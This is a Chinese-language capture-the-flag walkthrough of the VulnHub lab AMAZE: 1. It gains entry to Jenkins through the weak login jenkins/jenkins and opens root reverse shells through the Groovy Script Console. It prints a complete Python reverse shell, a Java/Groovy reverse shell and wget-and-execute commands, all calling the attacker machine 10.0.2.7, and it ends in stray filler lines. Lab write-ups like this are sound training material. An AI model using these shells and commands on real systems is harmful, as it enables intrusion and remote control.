一、前言
主要利用方式:弱口令突破边界+Groovy script(脚本命令行)多种方式反弹shell
二、靶机信息
靶场: vulnhub.com
靶机名称: AMAZE: 1
难度: 中等
发布时间: 2020 年 9月 27 日
下载地址:https://www.vulnhub.com/entry/amaze-1,573/
备注:
1、Jenkins 漏洞利用太多,容易乱花渐欲迷人眼,当尝试了多模块后,发现都没办法成功利用。
2、此靶场在后期反弹shell的过程中,要获取"/bin/bash"交互式shell,要不然会存在反弹即断连的情况,
3、在反弹shell的过程中,除了通过java 及python方式反弹shell外,php存在一个坑,找不到80端口web服务下的php文件,有可能技术不到位,待后续排查,欢迎交流
三、虚拟机配置
virtualBox、USB1.0模式、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口开放及开放端口的详细服务
└─$ sudo nmap -p- 10.0.2.15
└─$ sudo nmap -p21,22,80,8000 -sV -A 10.0.2.15
21port:21/tcp open ftp vsftpd 3.0.3+ftp匿名登录
22port:22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80port:80/tcp open http Apache httpd 2.4.38
8000port:8000/tcp open http Jetty 9.2.z-SNAPSHOT
3、21端口 FTP匿名登录并查看ftp是否存在敏感信息或者隐藏文件等
└─$ ftp 10.0.2.15
ftp> ls -la
4、80端口 信息收集,未发现可用信息
http://10.0.2.15
5、路径扫描,访问login.php,暂未发现有用信息
访问http://10.0.2.15/login.php
6、同样方法,再扫描一下带端口8000的路径
[21:44:11] 302 - 0B - /assets -> http://10.0.2.15:8000/assets/
[21:44:12] 500 - 13KB - /assets/
[21:44:16] 303 - 0B - /console/j_security_check -> http://10.0.2.15:8000/loginError
[21:44:20] 200 - 17KB - /favicon.ico
[21:44:24] 303 - 0B - /j_security_check -> http://10.0.2.15:8000/loginError
[21:44:24] 403 - 1013B - /jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd
[21:44:26] 302 - 0B - /logout -> http://10.0.2.15:8000/
[21:44:26] 200 - 6KB - /login
[21:44:26] 302 - 0B - /logout/ -> http://10.0.2.15:8000/
[21:44:27] 403 - 1KB - /manager/jmxproxy/?set=Catalina%3Atype%3DValve%2Cname%3DErrorReportValve%2Chost%3Dlocalhost&att=debug&val=cow
[21:44:35] 403 - 1KB - /remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd
[21:44:36] 200 - 71B - /robots.txt
7、通过信息收集,只可访问8000端口,其他皆未发现有效信息
8、尝试弱口令:jenkins/jenkins ,登录成功
五、漏洞利用(突破边界)
9、searchsploit Jenkins的漏洞
└─$ searchsploit jenkins
如上利用方式,尝试了多种模块,皆未成功利用
10、 Manage Jenkins - Script Console中可以执行shell命令
println "id".execute().text
此控制台允许用户使用Groovy script运行自动化和报告命令。通过利用此特权,攻击者可以使用 revsh.groovy将反向 shell 会话返回给攻击者机器。已经是root权限,只要成功拿到服务器权限即可。
六、反弹shell(root权限下)
方法一(python 反弹shell):
11、python脚本生成一个bash反弹shell
#!/usr/bin/python
# This is a Python reverse shell script
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.2.7",9999));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
12、攻击机(kali)启动一个python服务,以备靶机来下载
└─$ python -m http.server 80
13、靶机下载shell文件并使用python 执行文件
println "wget http://10.0.2.7/0619sec.py -P /tmp/".execute().text
println "python3 /tmp/0619sec.py".execute().text
14、nc监听999端口,并监控到成功反弹shell
方法二(java 反弹shell):
**15、在https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76#file-revsh-groovy
成功找到利用脚本revsh.groovy**
Stringhost="localhost";
intport=8044;
Stringcmd="cmd.exe";
Processp=newProcessBuilder(cmd).redirectErrorStream(true).start();Sockets=newSocket(host,port);InputStreampi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStreampo=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exceptione){}};p.destroy();s.close();
16、修改IP,端口,程序
String host="10.0.2.7";
int port=6666;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
17、攻击机监听6666端口,并记录反弹shell
方法三(php反弹shell)--莫名其妙的未完成方案,待后续再思考
18、通过前期80端口的扫描及浏览器访问,可以发现此靶机存在php web服务,并且存在login.php
但通过后续上传php shell文件后,全服务器寻找80端口的php文件,未尝发现,全服务搜索,只能搜索到自己上传的php shell文件
println "wget http://10.0.2.7/prs.php -P /tmp/".execute().text
println "wget http://10.0.2.7/prs.php -P /var/www/html/".execute().text
最终,此靶场结束~!
fandan hou shi rongqi
1
1
1
1
1
1
1
1